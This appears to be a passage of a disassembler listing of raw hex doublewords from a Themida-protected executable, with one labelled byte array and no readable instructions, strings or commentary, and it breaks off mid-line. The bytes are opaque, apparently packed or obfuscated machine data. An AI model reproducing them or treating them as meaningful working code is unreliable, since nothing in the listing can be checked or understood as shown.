2C4B2726h dd 615B3616h, 518D0190h, 8D061029h, 134F6A85h, 7E906h dd 84920000h, 46CE7579h, 6AD0FF25h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 0CF0BC356h dd 92AC46D7h, 2AE1BD09h, 44030610h, 6A2824h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 160424h, 51410000h, 624D5AC3h dd 901B531h, 408B0610h, 0DE96018h, 67000000h, 1F71C222h dd 70556791h, 39F28C3Ah, 51E5BF66h, 0E5B58961h, 40061014h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 51C35343h dd 952B6060h, 6102A81h, 61F18B66h, 85538589h, 6A0613h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h dd 0FCA228C3h, 5BFB004Fh, 58DDBDCAh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 15h, 67C35141h, 78708BEDh, 0ED9D2960h dd 8B061016h, 100E9DBDh, 13E96106h, 6C000000h, 0E72E9913h dd 79EC8A99h, 0DD3B30CDh, 8C565DB0h, 0C683FFCEh, 0F96F81Ch dd 1386h, 0EE900h, 0A2500000h, 9131C54h, 1CC19056h, 12B8010Eh dd 24247C81h, 10000000h, 0C2870Fh, 90F50000h, 0DE960h dd 6F230000h, 48CBB432h, 6F82B9C3h, 61D11A7Bh, 60525050h dd 0F6129B7h, 0F525031h, 8Eh, 0F310F00h, 82h, 5A585A00h dd 8D099058h, 6100CA9h, 2824448Bh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Bh, 6CC35343h, 58F8267Ch, 0F1F3CACh dd 0C82h, 6880F00h, 9000000h, 10092595h, 85896006h, 6103341h dd 5061E0B4h, 0CE9h, 0F2E70100h, 88522FF2h, 6D85E878h dd 240489DFh, 59D8B60h, 0F061019h, 86h, 858D6100h, 6134F6Ah dd 9E9h, 199A0A00h, 0DB60B255h, 0D0FF296Eh, 6880Fh, 95310000h dd 61006CDh, 810F6096h, 3, 61D9B70Fh, 24247403h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 49C35242h, 60021E75h dd 10E94Bh, 61D0000h, 653E1D23h, 65AEE617h, 95C81447h dd 880F9F83h, 18h, 13E9h, 0A3FBE800h, 938AB676h, 38CF26ADh dd 4F5B9EEEh, 0CC70D769h, 20B5BD8Dh, 6A0610h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 93FA93C3h dd 0BFD2AE1Dh, 6AAD0Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 150424h, 52420000h, 0F81FAC3h, 0C87h, 6860F00h, 0F000000h dd 8Ah, 247C8100h, 24h, 0DC870F10h, 0F000000h, 168Ah, 11E900h dd 12EF0000h, 0BF357B60h, 0D3EA1D77h, 0D622B3A5h, 90789C4Ah dd 8E9h, 0E4BF900h, 169E4336h, 0E8605020h, 0Fh, 8CE5F80h dd 8332ECD5h, 0E63EAC12h, 0BFA227D7h, 6ED69A16h, 0BE95Fh dd 2EBF0000h, 0B3012BEDh, 0A7876F5Eh, 609061C3h, 130DB589h dd 8B660610h, 448B61CEh, 7E92824h, 39000000h, 7F5A10D2h dd 6050282Dh, 13E9h, 24643400h, 0E480E9FCh, 96A0C692h dd 0AA903950h, 2724EDD1h, 59616056h, 24048961h, 8860Fh dd 830F0000h, 2, 858D6160h, 6134F6Ah, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 15h, 0D7C35242h, 0BD8B60CCh, 61015CDh dd 10E19D8Bh, 0FF610610h, 8D9D89D0h, 3061034h, 6A242444h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h dd 46000000h, 0D31EC356h, 5425BC19h, 0AB3C8A49h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 65C35545h, 4D5ACE41h dd 0FA810762h, 10000h, 7AA820Fh, 870F0000h, 8, 28E0Fh dd 61600000h, 2F59BD8Dh, 89F90610h, 10228D8Dh, 6AAD06h dd 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 170424h, 57470000h, 0E85AFBC3h dd 0BDB53157h, 81061013h, 24247Ch, 0F100000h, 0DA87h, 15BD0100h dd 90061013h, 11E860h, 0F6A50000h, 6CD9FE6h, 3287053h dd 1B327493h, 6647711Ah, 0E95EF88Bh, 13h, 9F8E949Bh, 0F2C7D525h dd 6A737492h, 28C6CA1Ah, 6113FF89h, 0BE950h, 0EE6E0000h dd 986D7434h, 0D1A80CA2h, 8BF990C3h, 0F282444h, 68Dh, 4DB58900h dd 90061033h, 0E8A0Fh, 52500000h, 310F6160h, 8B0Fh, 585A0000h dd 48C0F50h, 60000000h, 90616160h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ch, 0E3C35040h, 21BE00ECh, 9908A23Ch dd 719529FCh, 8D06101Eh, 134F6A85h, 85896006h, 6102F1Dh dd 61F18B66h, 6AD0FFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 150424h, 53430000h, 33028C3h, 89242444h, 1001CD9Dh dd 0B58B6006h, 6102F99h, 1629858Bh, 50610610h, 0FE9h, 82F82000h dd 1C2A0278h, 23A8BE29h, 0B8C2131Fh, 6A240489h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h dd 5ABAC353h, 60892A11h, 92D8D89h, 0AB610610h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 8EC35242h, 0E428FB8Fh dd 0A86946BAh, 13E9h, 41B8A600h, 80E852Bh, 3B874395h, 23921B2Ah dd 0CF4608C9h, 2951BD09h, 0BD8D0610h, 6100601h, 0EE5B589h dd 29AD0610h, 100625BDh, 247C8106h, 28h, 64870F10h, 6A000001h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h dd 40000000h, 2E3C350h, 60054333h, 1A2BB7BBh, 61EEB71Dh dd 0F525050h, 28Dh, 0F616000h, 52506031h, 585A310Fh, 8E9h dd 63C8C200h, 0D6A17694h, 585A618Fh, 6A240489h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h dd 0FCFAC356h, 14C5D667h, 89C448B6h, 102369B5h, 24448B06h dd 0E985012Ch, 90061000h, 16890Fh, 0E9600000h, 9, 0B7A4ACE0h dd 0D7BB03D0h, 0F5250A2h, 61585A31h, 60525050h, 450458BBh dd 0F525065h, 61585A31h, 5250310Fh, 310F6160h, 810Fh, 585A0000h dd 6A90585Ah, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 19042444h, 43000000h, 9F7DC353h, 4A9FED1Ah, 19858960h dd 0F506102Fh, 6A858D61h, 6A06134Fh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 6218C351h dd 0B25D74E4h, 0C58D3160h, 60061005h, 12E9h, 29844200h dd 3A045F96h, 0AA9F0D28h, 80AE1BE6h, 8B67D933h, 0FF6161D0h dd 51006AD0h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h dd 0C3514100h, 92D4B6F8h, 5E9D6h, 69330000h, 33BBA93h dd 6A282444h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 19042444h, 42000000h, 6F7CC352h, 6951D095h, 14E9h, 0E8F6AF00h dd 18FE8083h, 20C2EB6Bh, 0DB1B960h, 0DE9D32Eh, 8F0FABD6h dd 6, 0A019D09h, 0FF5E0610h, 1385538Dh, 53BD8306h, 61385h dd 0C0330A75h, 944DB58Dh, 0E6FF0613h, 7C81AD56h, 2824h dd 0E771000h, 24448B50h, 858D502Ch, 6134F6Ah, 4403D0FFh dd 8B972824h, 4F858ADFh, 84061385h, 3A0474C0h, 574C7507h dd 75AEC032h, 0FB2B5EFDh, 0C933FC52h, 33D18B49h, 0ACDB33C0h dd 0CD8AC132h, 0D68AEA8Ah, 0D16608B6h, 0D8D166EBh, 35660973h dd 81665041h, 0FE5449F3h, 33EB75CEh, 4FD333C8h, 0D2F7D575h dd 0C28BD1F7h, 6610C0C1h, 3B5AC18Bh, 5E0F74D0h, 0FF04C683h dd 10147585h, 0FF5DE906h, 0F5EFFFFh, 0D8Bh, 8E900h, 62E10000h dd 0A01D4593h, 6ACE87h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 190424h, 57470000h, 0E006C8C3h, 0E98E78FEh, 14h, 3FB7A9F4h dd 0E3230C8Bh, 576EE177h, 8328F0D1h, 5B689740h, 0F08B6060h dd 93CA4DB9h, 0FD8A612Bh, 75858B61h, 6A061014h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h dd 18DCC357h, 25B494E9h, 56F844DCh, 10818529h, 0E0D10610h dd 13E9h, 82673800h, 0E6EFE05Dh, 0FC199376h, 92ABC20Ch dd 0AFA07593h, 6018503h, 6A0610h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1A0424h, 56460000h, 866A07C3h, 986956A0h dd 0FE9h, 7B8CF900h, 5F668441h, 17213B54h, 3BD05F02h, 9DD8D89h dd 0BE0610h, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 16042444h, 41000000h, 0DC16C351h, 4D8D892Fh dd 96061002h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ah, 39C35343h, 0A4905326h, 9589738Bh, 6100E8Dh, 0BE9AD66h dd 4C000000h, 472BBB37h, 677CBB0Ah, 0C1F9F656h, 6A02E0h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h dd 6A20ECC3h, 0DB4D9DA9h, 603A0D05h, 152BD3BFh, 61DA8A59h dd 20B58503h, 9D890610h, 6102159h, 50006A96h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1704h, 0C3504000h, 41CB3B16h dd 56006AADh, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h dd 0C3564600h, 6696CEC5h, 7F6255C9h, 0BA666065h, 57606C90h dd 458D095Ah, 61061008h, 13E961h, 2F330000h, 0EC99B16Dh dd 0A0744976h, 81A4D634h, 3C060C80h, 247C8139h, 24h, 8D870F10h dd 0E9000000h, 0Fh, 0CFA5D704h, 0B8AFA1C1h, 4237DD80h dd 50781626h, 52505250h, 310F5250h, 310F585Ah, 8E0Fh, 585A0000h dd 5250310Fh, 840Fh, 310F0000h, 0CE9h, 2E18300h, 72B57239h dd 29ED54F9h, 5A585A6Dh, 24048958h, 6830Fh, 0BD890000h dd 6101481h, 2824448Bh, 1830Fh, 50F50000h, 4896160h, 0ED852924h dd 8D06102Dh, 134F6A85h, 7850F06h, 0F000000h, 184h, 840FFC00h dd 1, 0FCD0FFFCh, 24244403h, 0FD958960h, 0E806100Bh, 8 dd 0D29258AEh, 1AEFE4BBh, 615F8EB7h, 1C244489h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 90C35242h, 0DD858994h dd 0C606101Eh, 1023E585h, 85C70006h, 61386CBh, 0 dd 855785C7h, 613h, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 180424h, 51410000h, 4C1263C3h, 6AFCA323h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h dd 45000000h, 5A4CC355h, 622DE9B3h, 0BE9h, 793CC600h, 84A9E3FDh dd 0B9CA0F8Eh, 498D8961h, 1061014h, 100B51BDh, 8C206h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0B3C35545h dd 827D309Fh, 20B5858Bh, 6A0610h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 180424h, 56460000h, 36D869C3h, 8E9F625h dd 0DC000000h, 0AE1A962Ah, 4A811611h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 18h, 81C35242h, 4BE5033Ah, 4D26BFCh dd 6AC203F8h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 15042444h, 45000000h, 0B54AC355h, 1171B509h, 0B5010610h dd 6101B55h, 57006A96h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1804h, 0C3574700h, 4B634D95h, 1B501D8h, 0AD061030h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 0BDC35141h dd 3145B474h, 1029718Dh, 247C8106h, 24h, 11870F10h, 60000001h dd 7CCB8166h, 15BD33E6h, 61061007h, 0DE990h, 66C50000h dd 0ECC0D07Eh, 0AD69056Fh, 507443D4h, 52505360h, 585A310Fh dd 6A90615Eh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 16042444h, 46000000h, 49D7C356h, 9E91Bh, 80260000h dd 1F83157Bh, 8B401CB3h, 6A282444h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 65A2C351h dd 6890F60h, 81000000h, 0B7A255CBh, 24C98178h, 61763E2Ch dd 8E950h, 7D830000h, 3B9CFB63h, 4896CA9h, 0B860F24h, 0E9000000h dd 6, 0FFD6D1E5h, 858DFD06h, 6134F6Ah, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Dh, 0E8C35141h, 0AAE95620h, 0FF9CDF80h dd 0D98D298Ch, 0FF061022h, 53006AD0h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1504h, 0C3534300h, 800F6289h dd 0Ch, 7E9h, 0EF673B00h, 70E98CC7h, 0FFFD2BE9h, 51006AFFh dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h dd 0F1A20792h, 0CE98AA9h, 0ED000000h, 0AFB01FCAh, 0EB7B4E51h dd 8D45CEF2h, 1399B685h, 619D8906h, 9006101Ch, 0EABF6660h dd 0E9506186h, 12h, 544826CCh, 3BCAA122h, 2E8BB10Fh, 4623C141h dd 0F5903EE0h, 35FF64h, 0F000000h, 187h, 48BF500h, 9D9D3124h dd 89061032h, 101FBD85h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1C04h, 0C3524200h, 843FEA11h, 757118D4h dd 0B70F6056h, 619D8BCAh, 6106100Fh, 39BD89F9h, 6406102Fh dd 2589h, 890F0000h, 6, 4DB509h, 858D0610h, 6139815h, 16089F9h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0BCC35343h dd 29FB3EBBh, 1D8D8913h, 0E9061019h, 1E2h, 13A5BD29h, 0DB8B0610h dd 0E8h, 0ED815D00h, 613980Eh, 12FF9CBCh, 69BD8300h, 61029h dd 858B1874h, 61010C5h, 8B0000C6h, 10070185h, 0C606h, 9AD95FFh dd 0FF600610h, 13815BB5h, 5F858D06h, 50061381h, 8357858Dh dd 0FF500613h, 10025195h, 0CC48306h, 10820F61h, 0E9000000h dd 0Bh, 0C4AA351Ch, 68C811E8h, 8977ED22h, 101289B5h, 57B58D06h dd 89061383h, 1018F995h, 1BD8D06h, 6A06102Bh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h dd 453C351h, 47413C6Eh, 3E80F0h, 33840Fh, 0A4F50000h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0C2C35646h, 33D997F7h dd 1D5DB589h, 0CAE90610h, 29FFFFFFh, 100DBDB5h, 89C02B06h dd 1004A19Dh, 6AAA06h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 180424h, 51410000h, 8950C6C3h, 7B84E37h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h dd 43000000h, 6EA2C353h, 0E2019892h, 0BE982h, 6C340000h dd 4C006AB1h, 0E834E29h, 0A185C71Eh, 106102Dh, 60000000h dd 9959EE81h, 85892E50h, 6102161h, 858D8D61h, 6A06104Eh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1D042444h dd 41000000h, 0F726C351h, 0BF25E91Bh, 0F70890E7h, 2FC99D89h dd 0E1FF0610h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Dh, 0BDC35343h, 0C72390E8h, 0AE60FF20h db 7Fh byte_584E21 db 8Bh, 5Ch, 24h ; DATA XREF: Themida_:0054C910o dd 0E8550Ch, 5D000000h, 99C0ED81h, 838B0613h, 0B8h, 815B8589h dd 858D0613h, 6139807h, 0B88389h, 335D0000h, 6AC3C0h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 8DD497C3h, 74D38B44h, 60F851F2h, 12E9h, 6B1D7E00h, 25D9D1FEh dd 0DB08A46Fh, 37607E76h, 60E6D7EFh, 8B0Fh, 59530000h dd 9F56161h, 1013AD85h, 6A6006h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1B0424h, 52420000h, 0EE8E75C3h, 0A6460114h dd 8E9C0h, 0DBA60000h, 0DF7A34A4h, 858D6DD6h, 6139CB9h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 72C35040h dd 0F04F6C2Ah, 0F6398E86h, 1820FFCh, 0F8000000h, 13800F50h dd 0F000000h, 0D85h, 8E900h, 9E1D0000h, 76AACFC8h, 489DCEFh dd 51006A24h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h dd 0C3514100h, 0D1A4A6A2h, 16B27B07h, 13E92Ch, 0B5D80000h dd 0BBBFC940h, 8287E4D3h, 6D3AB33Dh, 78A66ECEh, 11E9E6h dd 898F0000h, 0C79601C4h, 0C65EB8BDh, 3719E64h, 6408D9EAh dd 35FFh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1D0424h, 52420000h, 7695FC3h, 0B32DA003h, 60BE632Ah dd 3289B52Bh, 5E80610h, 0D8000000h, 8FF3D9D7h, 615AE3B7h dd 258964h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1B042444h, 45000000h, 5DF9C355h, 14B95DA5h dd 8B60624Ah, 10147995h, 55B52B06h, 61061010h, 1B858DF8h dd 6006139Dh, 30ED8D8Bh, 0E8500610h, 9, 9868AE53h, 569A99D7h dd 61585AE3h, 6A016089h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1C042444h, 47000000h, 65C9C357h, 0DD44DF78h dd 0F5563153h, 12E9h, 5899C500h, 44556317h, 47F39113h dd 0B3AC7D82h, 0C68BA51Bh, 1023E585h, 68F54F06h, 0D13A7410h dd 128A0Fh, 52500000h, 310F5250h, 310F585Ah, 310F5250h dd 585A585Ah, 1A240481h, 892D8E00h, 1023D195h, 10810F06h dd 0E9000000h, 0Bh, 0B0F2ADC7h, 8F324078h, 0FFAC087Fh dd 101D45B5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1B04h, 0C3514100h, 34FCE1F5h, 22220712h, 228DBD89h dd 858D0610h, 613858Ah, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ch, 0D8C35141h, 1A1CCDADh, 0B4662B4Ch, 6AD0FFh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 7E75A9C3h, 987818E5h, 0B5019FC7h, 610167Dh, 6DE9h, 75B58900h dd 6006100Dh, 61FA8AF8h, 0C245C8Bh, 0E855h, 815D0000h dd 139CC3EDh, 99858B06h, 89061014h, 101D4585h, 0E5858B06h dd 89061020h, 10094585h, 61858B06h, 8906102Eh, 10145D85h dd 0E585C606h, 61023h, 86CB85C7h, 613h, 858D0000h, 6139D1Bh dd 0B88389h, 335D0000h, 9531C3C0h, 61009A1h, 22E98589h dd 74BC0610h, 6A0012FFh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1A042444h, 47000000h, 0AB80C357h, 7E0C58D8h dd 10E93Eh, 41EA0000h, 5A546065h, 9AB0842Bh, 0A480A937h dd 8F64513Bh, 5, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1504h, 0C3574700h, 0BD89FED7h, 6102871h dd 6A04C483h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1A042444h, 43000000h, 5ABAC353h, 69892A11h, 8B666099h dd 0E86161C6h, 13h, 0AF8572E9h, 4C0DAF9Ch, 14F0384h, 290271EFh dd 0E90D7494h, 5, 0DE5B5F7h, 890F5F1Ah, 2, 0C781D98Bh dd 718Fh, 0BAC28B66h, 1C34h, 1F719589h, 0F8B0610h, 27E981F9h dd 66546569h, 81576CB8h, 6BBCF2F1h, 0EE944h, 0EB970000h dd 0EB7E837Eh, 0BAE7F977h, 17F67467h, 0FD32F181h, 0B5295E67h dd 61023F9h, 0C5B00F89h, 8B04EF83h, 1008B19Dh, 1EA8106h dd 0F000000h, 1385h, 0C5858B00h, 0E9061007h, 33h, 0F0492A51h dd 0B7C8D6B0h, 14E9h, 0F6898100h, 48BD17D2h, 0D8AE0395h dd 4A34B445h, 0DF8ED402h, 0FF84E99Ah, 7B93FFFFh, 3EB8ABEh dd 0BF6B5CA4h, 0E93A32EDh, 83h, 56525153h, 245C8B57h, 3B81661Ch dd 850F5A4Dh, 68h, 3C43B70Fh, 8166D803h, 0F45503Bh, 5785h dd 785B8B00h, 1C245C03h, 324738Bh, 561C2474h, 8B207B8Bh dd 7C031C73h, 74032024h, 83FC2024h, 8B41FFC9h, 8B1C245Ch dd 24540317h, 4C78320h, 0C084028Ah, 33A0874h, 4243E875h dd 33AF2EBh, 0D15FE075h, 4B70FE1h, 86048B0Fh, 1C244403h dd 595A5E5Fh, 8C25Bh, 0F1E9C033h, 8BFFFFFFh, 7E8CAh, 0A2EA0000h dd 0C6C8CF36h, 0D18B66BEh, 0D08B6658h, 5F48C081h, 0BA660000h dd 0E2B9B8CAh, 813601C8h, 1DF41F1h, 0E8388B36h, 11h, 0A4533AB1h dd 6F11992Ch, 0B6329110h, 513C5E6Eh, 0F5DE81BDh, 5A37B91Eh dd 0FC3FEF81h, 0CAB771D7h, 0EE78F781h, 0E6806D1Bh, 59C781F4h dd 8B1D45F8h, 603889DFh, 800FE78Ah, 6, 950DD081h, 836178EDh dd 0FE902E8h, 80000000h, 0E26D06EFh, 75820F36h, 0EFDD6899h dd 4848D0BDh, 0E9835DB7h, 19850F01h, 66000000h, 1D5AF381h dd 25E9h, 7A308600h, 0F12FA7A3h, 6042210Ch, 0F9810F8Bh dd 83EB8166h, 0FF6FE90Ah, 3353FFFFh, 0D74365A2h, 13ECE49Ah dd 0F3E97C19h, 37000000h, 97424C5Dh, 838A055Ch, 1D76A188h dd 0DD7A0E0Ah, 3733538Fh, 557D2F6Dh, 7F2D773Dh, 7DD77DD5h dd 6DF73D57h, 73D575DFh, 3D577DD7h, 0D55FEDF7h, 37335375h dd 557D2F6Dh, 7F2D773Dh, 7DD77DD5h, 6D171E57h, 602075DFh dd 20206020h, 2060E0E0h, 0F77B68ACh, 20A1E4A9h, 0A693B2D0h dd 0B99DB7EDh, 0ACA3F291h, 60206020h, 20206020h, 2060E0E0h dd 0A335375h, 557D2F0Dh, 60206020h, 0A7286020h, 50F0362Bh dd 0B6F360C9h, 0F796A1EFh, 0E3A7B4E0h, 0F47192B8h, 6DB9E9B3h dd 602060F7h, 60206020h, 6DF72020h, 73351ADFh, 3D577DD7h dd 0D55FEDF7h, 37335375h, 557D2F6Dh, 7F2D773Dh, 7DD77DD5h dd 6DF73D57h, 73D575DFh, 3D577DD7h, 0D55FEDF7h, 37335375h dd 357D2F6Dh, 0E0A1Eh, 0D25D3407h, 1E59A0A3h, 3 dup(0) dd 0E1E90000h, 6800000Ch, 613A338h, 0FCDFA3E9h, 0A45268FFh dd 99E90613h, 68FFFCDFh, 613A53Ah, 0FCDF8FE9h, 0A5F768FFh dd 85E90613h, 68FFFCDFh, 613A683h, 0FCDF7BE9h, 0A72B68FFh dd 71E90613h, 68FFFCDFh, 613A858h, 0FCDF67E9h, 0A93468FFh dd 5DE90613h, 68FFFCDFh, 613AA3Dh, 0FCDF53E9h, 0AAFC68FFh dd 49E90613h, 68FFFCDFh, 613ABE3h, 0FCDF3FE9h, 1F6204FFh dd 3D742CABh, 1A53FA81h, 3774179Eh, 1150F483h, 2153AF9Dh dd 0FD7C306Fh, 0C84F0B4Ch, 0E473E722h, 5752063Bh, 0DD1CA665h dd 0FBF86BDFh, 4E793231h, 0CC7CE75Bh, 0E388FF6Dh, 0FAA6CAA6h dd 3DE92ADBh, 0AA5BDE82h, 10AF9469h, 0A9255A11h, 4C1EBD5Ch dd 0CEA0D78Dh, 0CC7C67DBh, 0C6A37F6Dh, 1D02F7B2h, 9CC267FCh dd 23A355EDh, 845EA94h, 0C68181Ch, 1D2F2BEFh, 0D46E1D43h dd 309423A3h, 0A3FD4534h, 46E49423h, 90E311B2h, 550E857Dh dd 7F2A4420h, 9423C6C3h, 74324723h, 0C579AE55h, 7BD8D36h dd 4062EBD0h, 0CBB50F1h, 0D06D3CE8h, 299423A9h, 5CDFFB9Ah dd 0C48F6CA5h, 8872E61Bh, 2FE31CD1h, 9BB7F298h, 194EF5BEh dd 8AB56E6Dh, 23A9239Fh, 8B67C394h, 2A1C297h, 245B11C8h dd 9ED38C47h, 609E6F2Ah, 3F7E397Bh, 80000005h, 0DEDB814Bh dd 0A0BD1EABh, 44793204h, 0ED55542Ah, 96DCC7Ch, 374E502Dh dd 0BA815B90h, 982AE116h, 7C6DCC7Ch, 54D0C4A0h, 5362BF77h dd 3FE37688h, 65A24504h, 90B97088h, 7667FC11h, 0E75F06FAh dd 6942396h, 0BA13D66Dh, 9A397B3Fh, 2Fh, 396E15A4h, 5A9B4E4Dh dd 2FA6CAA6h, 0A3293E7Dh, 4C1EBD5Ch, 0FC7C745Dh, 0EA969267h dd 3C7C03BBh, 32D1E294h, 7B35F6B7h, 0E3D639h, 32340000h dd 0CD02A979h, 0BA9E54D9h, 0AEB9B2B9h, 71D1B892h, 956DCC7Eh dd 0D2C9BD99h, 629F441Eh, 4CF3927Eh, 968AC77Ch, 79C9C09Ah dd 9D6DCC7Eh, 10CBA5C1h, 5C4A1F5Ah, 0DD51863Dh, 0CC02A12Eh dd 0B8ED966Dh, 45441A04h, 923382FDh, 73401D19h, 16EB97CCh dd 702DCFFh, 9803F41Ah, 0C18FB19Ah, 3E7F8BD0h, 52274B8Ah dd 0D1FAD450h, 498537D2h, 0D62E1B54h, 62687D67h, 0A57DFFCh dd 2BDEF0EBh, 9E152786h, 0FCAA480h, 344C215Ah, 8C403A5h dd 3BA0DF91h, 403ACC03h, 0B590190Dh, 0FA000009h, 22991558h dd 77336Ah, 1D9C1049h, 2AB12D6Ah, 95934786h, 0A49FB69h dd 0E526C74Eh, 13CF269h, 0E015CE4Dh, 8C7F816Ch, 6BDFDF36h dd 324BD1CEh, 0AE2D3F7Eh, 63DFCAF5h, 836DCC7Ch, 28AECBA7h dd 9C5FAB1h, 1EBD5C83h, 7C745D4Ch, 969267FCh, 6B3887C4h dd 971DC91Fh, 2995C4C2h, 0CC943C4Bh, 14DD18B7h, 0F4397AFFh dd 0EDh, 5D9E4F0Ah, 7932A480h, 6549F63Bh, 6326AC48h, 6DCC99DFh dd 3B173B37h, 679C5047h, 0CC991EA4h, 4D7AF66Dh, 4612BA49h dd 4E421EBDh, 0CC078E07h, 95CA816Dh, 47194719h, 0CC7FFE44h dd 6B1A166Dh, 6DCC7FD7h, 0BDDC9EFAh, 5646F322h, 0EC886BD1h dd 698DFFD7h, 0EB20C794h, 0A72BCA37h, 0F1CB5B94h, 0A66577EAh dd 6DCC301Ch, 86587CF8h, 1FD310B3h, 57522643h, 67FC464Ah dd 623CF06Ch, 0E3F833D7h, 96687382h, 0A8F2F93h, 7316A59Eh dd 9651532h, 7B58F6F7h, 0FF8961FFh, 0A14316EAh, 0BD6FE662h dd 0DE6BD97Eh, 7125403Bh, 89B68h, 0EB2EE000h, 940E86Fh dd 0E61FC655h, 340E372h, 0DD1CD047h, 0ED1F6B61h, 0B940FC3Bh dd 0D463D718h, 0C037F32Eh, 7356D207h, 0D820A289h, 0E7C46BDFh dd 3F7E325Dh, 1E530C8Bh, 6709D0AAh, 0E3F87C28h, 5F04D749h dd 0D58E4522h, 2ED5F4A0h, 1C9945F9h, 91786678h, 6DCC7C31h dd 10B259D5h, 0F46DCC7Ch, 7C3B8782h, 7FDB6DCCh, 23FE463h dd 0A835120Eh, 0CEB0CA11h, 681C570Bh, 0AF34EF0Ch, 2567FC20h dd 96B3F296h, 887688E4h, 2FE31CD1h, 0A0FE4433h, 1A169423h dd 3C9723Dh, 2697EB2Ch, 77324C8Fh, 9CDB718Ah, 0FC19214Ah dd 1F30453Ah, 28DC584Ah, 2A93CDBh, 98DBD640h, 0D2ACC8A4h dd 0EC2BF1D7h, 3B151192h, 0ED9CC780h, 82C85855h, 53F6B5B1h dd 0FB7A2E12h, 5E890644h, 0E4007CD2h, 6FD75B00h, 0EDB95CE2h dd 7B3FCh, 1356F800h, 31682097h, 0E47FE7Dh, 2B681B9Ah dd 458428AFh, 0F567A389h, 21981453h, 0FC7B2F70h, 0C84F0B46h dd 7B6EEA1Fh, 0D9388A81h, 0FFDC6BDFh, 44793235h, 87546350h dd 5FDB675h, 9D9967FCh, 0A635C421h, 7E2FAAD4h, 8AFE4447h dd 1A169423h, 11E64A36h, 146A491Ah, 0F6B5CB9Eh, 9E102A4Ch dd 0EBAFCCA8h, 26DE5D6Fh, 5A8F38EFh, 0CBADCAA6h, 0A6225710h dd 4F43782Fh, 76885362h, 12334975h, 95B229AAh, 0F6A2C8C3h dd 6629427h, 89BE65F4h, 5F02EBD5h, 9DB40060h, 67209BB0h dd 3331832h, 0AF105001h, 826F2F4Ch, 93966873h, 8A341CA2h dd 0FD7BE03Ch, 0D3545E18h, 6F6D2C3h, 8B3B0000h, 5F059448h dd 8025B428h, 5F049347h, 